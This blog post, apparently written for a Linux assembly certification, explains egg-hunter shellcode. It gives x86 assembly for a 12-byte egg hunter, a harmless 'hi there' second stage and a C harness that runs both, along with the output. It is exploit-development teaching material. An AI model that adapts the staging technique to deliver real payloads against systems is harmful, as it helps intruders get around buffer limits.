Introduction
This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-3 directory.
What is an Egg Hunter?
Egg hunter shellcodes are one example of a “staged” shellcode. Often, there will be limited buffer to work with, so staged shellcodes will have a smaller portion that gets executed first, then somehow loads a bigger code that wasn’t an original part of the exploit.
A great example of staged payloads is Metasploit’s Meterpreter. Meterpreter is a fairly robust set of features that do everything from provide normal shell interaction to taking screenshots of a desktop remotely. This would be very difficult if not impossible to implement in limited buffers available for most exploits, so a small stager is executed first which receives the additional components of Meterpreter via other means.
Egg hunters are a simple example of this multi-staged concept. A small code stub is executed which searches memory for a token (egg). The egg marks the address of the beginning of the second stage of the payload.
Example
I opted for the simplest form of egg hunter I could find for demonstration purposes. First, I wrote a shellcode that simply printed a message to stdout rather than spawning a shell. This can be trivially changed to any shell code your heart desires, but I opted for the write() shellcode just to make testing and development easy. I don’t need to spawn a shell to demonstrate that this works.
BITS 32
;; egg.. 0x424a424a
inc edx
dec edx
inc edx
dec edx
;; write "hi there" to stdout
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
add eax, 4 ; write()
inc ebx ; stdout
push byte 0x0a ; newline
push 0x65726568
push 0x74206968
mov ecx, esp ; address for "hi there\n"
add edx, 9 ; strlen("hi there\n") == 9
int 0x80
;; exit(0)
xor eax, eax
inc eax
dec ebx ; ebx was still '1' for stdout, decrease for '0'
int 0x80
I didn’t comment this as heavily as previous examples, because I feel it is straightforward enough. I added the exit() call to make the program exit cleanly rather than segfaulting.
The egg I chose shouldn’t alter the program’s flow in most cases. This can be any 4 byte combination as long as it executes and doesn’t crash the program. More advanced egg hunters can recognize these strings and skip past them. This basic egg hunter I wrote actually executes the egg along with the second stage.
Next, I write the actual egg hunter. This ended up being only 12 bytes, which is pretty small for a shellcode.
BITS 32
; If the egg is changed here, it must be changed in the shellcode as well
mov ebx, 0x424a424a ; EGG: inc edx
; dec edx
; inc edx
; dec edx
loop:
inc eax ; increase memory address by 1 byte
cmp DWORD [eax], ebx ; is this our egg?
jne loop ; nope, continue searching
jmp eax ; egg found, jump to it
This simple program just looks for 0x424a424a (our egg), and redirects execution flow to the point in memory that it was located.
Tying it all together
Using the shellcode written above and test.c, I pieced together this proof of concept:
#include <stdio.h> #include <string.h> char egghunter[] = "\xbb\x42\x4a\x42\x4a\x40\x39\x18\x75" "\xfb\xff\xe0"; /* write "hi there\n" to stdout */ char shellcode[] = "\x42\x4a\x42\x4a" /* egg ^^^^^ */ "\x31\xc0\x31\xdb\x31\xc9" "\x31\xd2\x83\xc0\x04\x43\x6a\x0a\x68\x68" "\x65\x72\x65\x68\x68\x69\x20\x74\x89\xe1" "\x83\xc2\x09\xcd\x80\x31\xc0\x40\x4b\xcd" "\x80"; void main() { printf ("Egg hunter length: %d\n", strlen (egghunter)); printf ("Shellcode length: %d\n", strlen (shellcode)); int (*run) () = (int(*)())egghunter; run(); }
Running this code executes the write(stdout, “hi there\n”, 9) shellcode:
% ./egghunter
Egg hunter length: 12
Shellcode length: 41
hi there
Conclusion
This is probably the simplest and least capable version of an egg hunter that there is. For more information, see this article or go to http://shell-storm.org/shellcode for more examples.
Pingback: SLAE #2: Reverse Shell For Linux/x86 – DMFROBERSON